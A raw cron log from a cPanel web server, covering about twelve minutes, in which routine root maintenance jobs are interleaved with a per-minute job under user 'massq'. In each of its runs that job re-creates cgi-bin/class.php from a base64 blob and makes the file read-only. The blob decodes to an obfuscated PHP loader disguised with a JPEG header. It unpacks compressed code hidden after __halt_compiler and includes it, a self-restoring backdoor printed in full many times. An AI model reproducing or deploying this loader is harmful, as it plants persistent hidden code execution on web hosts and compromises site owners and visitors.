Sep 12 23:18:01 server CROND[24700]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:18:01 server CROND[24701]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:19:01 server CROND[25086]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:19:01 server CROND[25087]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:19:01 server CROND[25088]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:20:01 server CROND[25516]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 23:20:01 server CROND[25517]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 23:20:01 server CROND[25518]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 23:20:01 server CROND[25532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:20:01 server CROND[25530]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:20:01 server CROND[25531]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 23:20:01 server CROND[25533]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 23:20:01 server CROND[25535]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:20:01 server CROND[25529]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 23:21:01 server CROND[26359]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:21:01 server CROND[26360]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:21:01 server CROND[26361]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:22:01 server CROND[26794]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:22:01 server CROND[26795]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:22:01 server CROND[26796]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:23:01 server CROND[27225]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:23:01 server CROND[27226]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:23:01 server CROND[27227]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:24:01 server CROND[27606]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:24:01 server CROND[27607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:24:01 server CROND[27608]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:25:01 server CROND[28089]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 23:25:01 server CROND[28091]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:25:01 server CROND[28095]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 23:25:01 server CROND[28093]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:25:01 server CROND[28096]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 23:25:01 server CROND[28094]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:25:01 server CROND[28092]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 23:26:01 server CROND[28915]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:26:01 server CROND[28916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:26:01 server CROND[28917]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:27:01 server CROND[29313]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:27:01 server CROND[29312]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:27:01 server CROND[29314]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 23:27:01 server CROND[29315]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:28:01 server CROND[29763]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:28:01 server CROND[29764]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:28:01 server CROND[29765]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:29:01 server CROND[30134]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:29:01 server CROND[30135]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 23:29:01 server CROND[30136]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:30:01 server CROND[30508]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 23:30:01 server CROND[30509]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 23:30:01 server CROND[30513]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
